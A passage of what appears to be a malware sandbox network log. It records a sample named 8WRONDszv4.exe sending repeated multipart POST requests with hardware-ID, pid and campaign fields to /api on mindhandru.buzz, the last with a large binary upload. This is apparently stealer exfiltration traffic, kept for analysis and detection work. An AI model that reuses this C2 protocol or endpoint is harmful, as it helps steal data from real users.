IoCflafPEKp24bU9mbZ0ZjBbJ3tH2XW637W6UkK0tjlGst6Udk/RS6bRlex593CC1ErnDlc49KpawE+k8RHHKSaVa+WmH0FadiEVjZkWJNaQizdvw63VmwvQnmDwddeZogAPcRILoftCZAHeeCYFBuFP1F9yLGSbirBacuC1B2my4evk4g41iralgFkZJjRGADsXj5PNBXurEN9w4NVHmWJBz0W3zzEaFoEE/S0ikIZBz/L7QB3V+5rQ7qQRcSb
2024-12-27 07:50:28 UTC	1369	IN	Data Raw: 71 56 6d 44 38 47 4f 77 6f 57 46 4b 52 79 6c 34 49 4b 30 53 41 4f 62 51 72 6c 77 54 31 6a 67 44 72 44 77 39 4b 5a 4e 4d 4b 47 65 68 62 64 62 67 2b 71 33 63 52 53 39 79 41 4a 77 59 6a 41 76 38 76 70 48 32 58 57 4b 54 37 57 37 56 54 55 77 6b 6d 79 58 6c 63 34 52 39 33 75 67 37 73 50 6b 6f 54 6b 59 41 6e 45 43 4e 44 76 47 58 6d 4e 64 52 4b 74 76 77 39 32 79 45 44 53 6e 53 54 49 67 4c 41 62 33 76 35 46 71 4a 68 44 6b 79 52 33 43 64 48 49 31 79 47 4e 37 78 7a 36 42 4c 31 6f 30 4f 39 51 54 31 66 65 35 41 75 47 4f 38 63 54 76 45 4f 72 57 73 54 55 5a 4f 54 61 6c 68 6b 52 50 45 33 38 6e 4f 50 44 50 76 37 42 2f 52 42 55 41 77 6e 78 58 78 64 71 51 45 38 35 56 61 31 4a 67 34 64 69 63 41 70 43 48 46 45 35 7a 65 7a 4d 4d 56 4f 73 37 67 56 35 6b 59 32 59 6c 57 56 4a 51 Data Ascii: qVmD8GOwoWFKRyl4IK0SAObQrlwT1jgDrDw9KZNMKGehbdbg+q3cRS9yAJwYjAv8vpH2XWKT7W7VTUwkmyXlc4R93ug7sPkoTkYAnECNDvGXmNdRKtvw92yEDSnSTIgLAb3v5FqJhDkyR3CdHI1yGN7xz6BL1o0O9QT1fe5AuGO8cTvEOrWsTUZOTalhkRPE38nOPDPv7B/RBUAwnxXxdqQE85Va1Jg4dicApCHFE5zezMMVOs7gV5kY2YlWVJQ
2024-12-27 07:50:28 UTC	1369	IN	Data Raw: 75 68 79 39 4a 6b 41 4e 67 38 6b 79 47 7a 52 55 37 57 69 36 4b 70 64 4b 39 65 4e 52 71 30 45 61 48 43 33 65 62 67 33 73 51 32 6a 35 44 71 38 68 4a 6d 50 33 6b 57 42 4f 59 41 71 6f 5a 72 59 63 31 46 65 35 74 77 54 7a 50 7a 5a 4a 64 70 41 6e 43 65 68 41 4c 72 52 59 6f 79 5a 41 5a 4a 47 44 62 55 38 76 54 50 4e 6d 35 7a 33 63 53 72 4c 37 50 4b 74 42 45 42 77 74 33 68 77 4e 38 46 39 70 37 41 6e 68 51 42 74 61 31 35 46 70 58 33 4a 45 38 54 66 79 63 34 38 4f 2b 2f 73 48 39 45 46 51 44 43 66 46 66 46 32 70 41 54 7a 6c 56 72 55 6d 44 68 32 4a 77 53 6b 49 63 55 54 6e 4e 37 4d 39 32 6c 32 32 74 51 44 33 45 77 35 66 59 35 31 75 4d 4d 42 30 59 2f 63 64 6f 6d 45 6d 59 2f 43 59 64 30 56 73 41 34 46 4a 77 79 4c 51 54 50 65 64 41 50 4d 43 53 42 49 31 68 6d 6c 57 76 6e 42 Data Ascii: uhy9JkANg8kyGzRU7Wi6KpdK9eNRq0EaHC3ebg3sQ2j5Dq8hJmP3kWBOYAqoZrYc1Fe5twTzPzZJdpAnCehALrRYoyZAZJGDbU8vTPNm5z3cSrL7PKtBEBwt3hwN8F9p7AnhQBta15FpX3JE8Tfyc48O+/sH9EFQDCfFfF2pATzlVrUmDh2JwSkIcUTnN7M92l22tQD3Ew5fY51uMMB0Y/cdomEmY/CYd0VsA4FJwyLQTPedAPMCSBI1hmlWvnB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49711	104.21.11.101	443	2320	C:\Users\user\Desktop\8WRONDszv4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:50:29 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=HLJF9R1HT34LQZLSH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12853 Host: mindhandru.buzz
2024-12-27 07:50:29 UTC	12853	OUT	Data Raw: 2d 2d 48 4c 4a 46 39 52 31 48 54 33 34 4c 51 5a 4c 53 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 46 43 33 38 44 43 42 41 36 31 31 33 31 39 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 48 4c 4a 46 39 52 31 48 54 33 34 4c 51 5a 4c 53 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 48 4c 4a 46 39 52 31 48 54 33 34 4c 51 5a 4c 53 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --HLJF9R1HT34LQZLSHContent-Disposition: form-data; name="hwid"CCFC38DCBA611319BEBA0C6A975F1733--HLJF9R1HT34LQZLSHContent-Disposition: form-data; name="pid"2--HLJF9R1HT34LQZLSHContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-27 07:50:30 UTC	1141	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:50:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j6svrlkoh6cjfggljq8j0o5kfi; expires=Tue, 22 Apr 2025 01:37:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z767xIZhzswJRPshzR%2BdyDRpZYSeWwDrW%2BpGSaY%2FrQLwimTp82dqP1Wez9D%2FZP%2BKpZl5bzKsGms39v82%2BkrjlQTYZUhd%2B9OPMzd3N1WRCwPOJue4kbH%2F%2BmksQ%2BIEAFyGwqg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b8546f897d18-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1786&min_rtt=1783&rtt_var=676&sent=10&recv=18&lost=0&retrans=0&sent_bytes=2837&recv_bytes=13791&delivery_rate=1610590&cwnd=218&unsent_bytes=0&cid=148251de7f41ca6a&ts=911&x=0"
2024-12-27 07:50:30 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:50:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49713	104.21.11.101	443	2320	C:\Users\user\Desktop\8WRONDszv4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:50:31 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MLS8UO6PJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15051 Host: mindhandru.buzz
2024-12-27 07:50:31 UTC	15051	OUT	Data Raw: 2d 2d 4d 4c 53 38 55 4f 36 50 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 46 43 33 38 44 43 42 41 36 31 31 33 31 39 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4d 4c 53 38 55 4f 36 50 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 4c 53 38 55 4f 36 50 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 4d 4c 53 38 55 4f 36 50 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --MLS8UO6PJContent-Disposition: form-data; name="hwid"CCFC38DCBA611319BEBA0C6A975F1733--MLS8UO6PJContent-Disposition: form-data; name="pid"2--MLS8UO6PJContent-Disposition: form-data; name="lid"PsFKDg--pablo--MLS8UO6PJContent-Disp
2024-12-27 07:50:32 UTC	1132	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:50:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jr2u8evo4sssc1v2vgoarjs21i; expires=Tue, 22 Apr 2025 01:37:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o1S6l9HJ0m9oEGvcAUKHjMfxqF2TPqfZcEG2gJ99UzsTeD026mUl1Lybyjm9iy0RplHpu0MrWKZ%2FuLMdM%2FZ75OH0qNE%2FQF76PE%2F4tPYcYCc4xFXx3HK%2FAt8pPwbojksNX%2BI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b8628de6f795-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1670&min_rtt=1662&rtt_var=639&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2836&recv_bytes=15981&delivery_rate=1690793&cwnd=187&unsent_bytes=0&cid=78cb142e8f864b53&ts=864&x=0"
2024-12-27 07:50:32 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:50:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49719	104.21.11.101	443	2320	C:\Users\user\Desktop\8WRONDszv4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:50:34 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7XQ7AVB4V User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19909 Host: mindhandru.buzz
2024-12-27 07:50:34 UTC	15331	OUT	Data Raw: 2d 2d 37 58 51 37 41 56 42 34 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 46 43 33 38 44 43 42 41 36 31 31 33 31 39 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 37 58 51 37 41 56 42 34 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 37 58 51 37 41 56 42 34 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 37 58 51 37 41 56 42 34 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --7XQ7AVB4VContent-Disposition: form-data; name="hwid"CCFC38DCBA611319BEBA0C6A975F1733--7XQ7AVB4VContent-Disposition: form-data; name="pid"3--7XQ7AVB4VContent-Disposition: form-data; name="lid"PsFKDg--pablo--7XQ7AVB4VContent-Disp
2024-12-27 07:50:34 UTC	4578	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 de f8 f4 8d d8 f5 6f 86 49 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bf 02 0e 8d a5 f6 Data Ascii: 2+?2+?o?Mp5p_oI
2024-12-27 07:50:35 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:50:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ftf114s9o5rqbk43gr97fbmj1o; expires=Tue, 22 Apr 2025 01:37:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vrlIknhLs%2BxU%2F7L1Yj%2B81c3Lic1bIdL%2FOwZNFGFkcMxccFNPY6gQCKFrhYvK9TrIkyOmiB0slJm5F2dPqn0ZAZJA74USz%2BkD2mW%2Fr2gvmc5MOL%2FcBSiuJGDcpc8l0rcS6k8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b870fb104391-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1645&min_rtt=1645&rtt_var=618&sent=13&recv=24&lost=0&retrans=0&sent_bytes=2838&recv_bytes=20861&delivery_rate=1768625&cwnd=237&unsent_bytes=0&cid=8e9eb34acae0ed20&ts=967&x=0"
2024-12-27 07:50:35 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:50:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49725	104.21.11.101	443	2320	C:\Users\user\Desktop\8WRONDszv4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:50:36 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=24BG24ZV1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1167 Host: mindhandru.buzz
2024-12-27 07:50:36 UTC	1167	OUT	Data Raw: 2d 2d 32 34 42 47 32 34 5a 56 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 46 43 33 38 44 43 42 41 36 31 31 33 31 39 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 32 34 42 47 32 34 5a 56 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 34 42 47 32 34 5a 56 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 32 34 42 47 32 34 5a 56 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 Data Ascii: --24BG24ZV1Content-Disposition: form-data; name="hwid"CCFC38DCBA611319BEBA0C6A975F1733--24BG24ZV1Content-Disposition: form-data; name="pid"1--24BG24ZV1Content-Disposition: form-data; name="lid"PsFKDg--pablo--24BG24ZV1Content-Disp
2024-12-27 07:50:37 UTC	1126	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:50:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gqot8crmnjfillvfn6q39t54nc; expires=Tue, 22 Apr 2025 01:37:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aSIBWkalCmsrhF6HAYP4c%2Bdrtm4I8LTSEPpWGrCfwYTVe8aT9PETsydQdSrnEwEaOuQOqKN2eC0V7kFwLPMDoF1MqX3TNr1FaFbraNRE%2FGxtVgOD%2FVAc7ct3lWt%2FP4sitbI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87b880cf1519c7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1807&min_rtt=1802&rtt_var=686&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2838&recv_bytes=2074&delivery_rate=1583514&cwnd=146&unsent_bytes=0&cid=187d0fd5d3c1aa8a&ts=772&x=0"
2024-12-27 07:50:37 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-27 07:50:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49733	104.21.11.101	443	2320	C:\Users\user\Desktop\8WRONDszv4.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:50:39 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZQKPN1QK3I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 571948 Host: mindhandru.buzz
2024-12-27 07:50:39 UTC	15331	OUT	Data Raw: 2d 2d 5a 51 4b 50 4e 31 51 4b 33 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 43 46 43 33 38 44 43 42 41 36 31 31 33 31 39 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 5a 51 4b 50 4e 31 51 4b 33 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 51 4b 50 4e 31 51 4b 33 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 5a 51 4b 50 4e 31 51 4b 33 49 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --ZQKPN1QK3IContent-Disposition: form-data; name="hwid"CCFC38DCBA611319BEBA0C6A975F1733--ZQKPN1QK3IContent-Disposition: form-data; name="pid"1--ZQKPN1QK3IContent-Disposition: form-data; name="lid"PsFKDg--pablo--ZQKPN1QK3IContent-
2024-12-27 07:50:39 UTC	15331	OUT	Data Raw: 63 c5 1f 14 71 8b f1 60 1c d5 3e c5 fb 65 a8 4a 37 48 e0 dc 91 22 5e 85 88 ac 78 fd 1b 26 84 fe fd d1 b0 9f c4 ac 10 9d 81 6a 9f 5c 17 eb 2b 1a 8e 64 88 10 d5 74 a7 0c 00 c6 f6 44 05 ee 34 89 92 31 6f 64 18 13 61 4f 78 9e 6c ad 4a ef 5b 32 87 63 06 61 b6 90 e0 96 04 a6 0f 0d c7 73 6f 45 6a 7c bc 3e 6e 1b a7 3e ae f4 f2 8b 03 f3 99 83 35 cb 9e 2e 1d b7 7d cb ef f1 1c 1c 94 76 e2 c6 8b 5a 3f f0 5d ab d0 dc 58 fa e3 2e b7 23 01 ca 44 45 b2 c2 48 b0 c0 34 25 5f d3 b5 81 d4 81 bd c8 c8 ee f7 93 dc 69 94 36 bf 61 c1 3d 34 16 bd 5d 1f b6 cf d2 10 0b cf e2 4b 28 c9 2b ec 2b c5 90 a4 d2 d7 57 2d 2f 9a a9 15 7c b1 ee e9 f7 e4 fe 98 9c af fb b5 fe 54 7a 38 22 34 11 bb ab b4 24 92 24 fa 15 a1 09 06 cc 8f 15 66 d1 6a fb 90 a4 7f 20 3b 5a 55 e5 00 fb 09 6e 25 45 7d 72 Data Ascii: cq`>eJ7H"^x&j\+dtD41odaOxlJ[2casoEj\|>n>5.}vZ?]X.#DEH4%_i6a=4]K(++W-/\|Tz8"4$$fj ;ZUn%E}r
2024-12-27 07:50:39 UTC	15331	OUT	Data Raw: 11 49 e8 ea 60 bf 70 20 78 f4 76 1a ce 1f c8 5c 5b 78 33 5c dd fb 41 95 d4 70 64 f7 1d 76 67 59 ed 78 62 b5 57 51 d5 fc 7a c8 b0 57 d9 c8 64 38 77 25 b3 aa 6a 61 f3 43 88 df ec d1 32 f2 97 bf 5f 43 8c 77 01 dc 4f 4e 5a 3f cd 02 fe fb 91 59 be d2 a1 af 0e d7 15 70 17 cf b3 06 33 03 77 86 be 88 39 6f 1c 52 90 93 5a da fc 71 7b 8d 3e fa af 9a b0 89 f3 d7 d7 1b 19 a2 63 cb f7 1d aa e7 bf 85 b3 c6 9e 0a d6 74 fc 5e 33 f9 93 c2 b7 1a 4e 47 15 b3 48 7b 6e 24 ed a1 77 f9 ab dc be 3e 2c 6c 65 cc 29 71 a8 ba fb 6e a8 e4 e6 3f 43 ec f5 aa 7a fe 1c 96 72 d8 68 e4 57 0f 03 8b f2 8e c8 07 fb bd 83 82 60 bf c6 c9 67 3b 8c bc 3f ed c3 c0 dc aa 7d 8c 33 f9 71 1e fb 18 e4 33 c7 41 a8 d7 af c2 fa ba 77 82 53 1f 30 40 f2 ab 30 56 28 9e 46 a7 dd 2a 84 c6 49 d0 77 72 bb a0 c2 Data Ascii: I`p xv\[x3\ApdvgYxbWQzWd8w%jaC2_CwONZ?Yp3w9oRZq{>ct^3NGH{n$w>,le)qn?CzrhW`g;?}3q3AwS0@0V(F*Iwr
2024-12-27 07:50:39 UTC	15331	OUT	Data Raw: c7 14 b0 2e 44 b2 2a e6 5e 39 26 8b 89 f7 45 6c 92 74 d3 52 aa 2b 65 3c 1b 7a 03 8a 9a a1 7f 99 13 7f b6 c0 52 9f e5 53 18 6d c6 cf 26 1c 06 98 75 7f 46 d3 3d b7 4e 1f 6e e4 9d ff 8a 8a b4 7e be 43 f2 c5 0c 00 9e 9d 8a 33 98 af 9c ac 7b fe 9b cb fa 6f 22 a7 4f fb 96 52 b2 36 ba 69 97 f5 c6 7b 5a 46 5f 48 fa 9e 0b 83 3f af c6 b3 61 88 5b 32 8a f3 58 75 3b a6 03 ef e2 82 27 5f 5d 30 33 58 91 b5 1d b5 a3 3a 38 5a e2 6c 54 40 32 77 d9 d3 74 ed de 17 ea 4f d6 40 9e 29 7d ee 51 f1 ce dd fd 5f 87 ec b7 03 f4 77 0a 4b c0 70 e2 67 24 89 a6 40 33 e2 07 ba fc 50 34 2f 98 28 cf d6 40 77 f3 30 67 11 40 09 49 c1 5f 93 3a 9e cc 5f 95 29 01 34 e1 08 08 f4 08 9d 2b e6 81 72 f8 db d1 08 21 20 20 0c fb df ce e2 22 b5 02 3b 74 b6 87 a1 2e 6f 81 fd 51 53 3d d0 fd c3 9a cc 51 Data Ascii: .D*^9&EltR+e<zRSm&uF=Nn~C3{o"OR6i{ZF_H?a[2Xu;'_]03X:8ZlT@2wtO@)}Q_wKpg$@3P4/(@w0g@I_:_)4+r! ";t.oQS=Q
2024-12-27 07:50:39 UTC	15331	OUT	Data Raw: 5c 9e 4a 9d be 0a a6 58 3b 3c f5 0f b4 75 13 5b cc af 50 d5 2f d4 18 54 1b b5 32 56 22 5a ff b7 75 1d c1 75 d7 32 e3 54 78 84 4a d5 e9 4c 0c c8 2a 47 bc f9 7f 42 f5 ff c9 d9 06 70 9a 99 2d 45 04 cc 61 c0 35 f4 d4 88 bd 24 d4 f4 72 bb eb 17 27 60 01 07 e4 18 12 b2 1b 76 2c 11 20 74 3b 5f 15 0a 52 82 d3 85 57 0c 00 19 11 26 0a 0e 74 dd 01 a6 dd f5 c1 18 b6 1a aa e5 94 bf 51 e1 50 cb 1c fe 9f 49 54 2f fa e8 50 ab 78 01 32 e6 95 04 f9 83 19 84 93 cf a8 0b 31 fa 2e 17 f4 7a 36 df 5d 14 47 94 21 a7 69 b1 ad b8 5e 47 e1 e4 41 c3 94 ea 58 a5 1b a2 53 28 01 0b 22 15 b1 79 78 a9 9d 8e 20 b2 2f fa 58 6f ce 7e dc 0c d7 e5 ee ac 55 50 61 53 40 ac e4 24 6e ee f5 43 36 5b 23 8e 0e df e2 2f 0a 1a 47 17 be f3 4a 28 74 88 5b 99 d1 53 a0 75 1e 76 81 88 ef a4 4f a5 04 5f 5b Data Ascii: \JX;<u[P/T2V"Zuu2TxJL*GBp-Ea5$r'`v, t;_RW&tQPIT/Px21.z6]G!i^GAXS("yx /Xo~UPaS@$nC6[#/GJ(t[SuvO_[
2024-12-27 07:50:39 UTC	15331	OUT	Data Raw: c9 ff 6f 9d 5d bb 45 9b 53 bc 04 42 fc 5e f2 fb 0e 8f c1 fc 91 fe 28 3d 51 08 00 ce 2e a0 99 08 85 01 e6 da e4 e4 fd e1 94 73 70 7e 78 0d f6 84 f2 23 73 76 f7 25 d4 ee 3d a8 07 d6 b0 79 0a bc f2 73 f8 c6 20 59 08 bc 5d 6c 45 d2 15 59 f4 a7 61 bf 4b f6 19 62 27 03 34 91 10 2f e2 00 c2 94 42 bf cb e4 9e c2 c7 46 55 fb 7e 6d 11 7a 6d e0 2d 75 a3 79 f8 d1 75 3b 56 55 fb 01 c7 5d bb ea 5e e9 df 2c b9 f6 1e 22 8d ad 5f 12 94 05 3a 37 06 c7 ff c5 ac 7f 83 18 a5 d5 47 f8 18 c2 a3 ba 18 11 68 be 41 a4 47 ea 97 1c bd 41 f0 e2 e9 6c ac 6f 7e 1e 0d 2f 30 0b c7 27 96 a9 88 fa 77 b7 c0 56 e9 88 02 44 d2 58 d8 8f ed f8 27 39 f9 1b c8 0c 04 ef cd 88 05 fd 6f 19 67 00 29 07 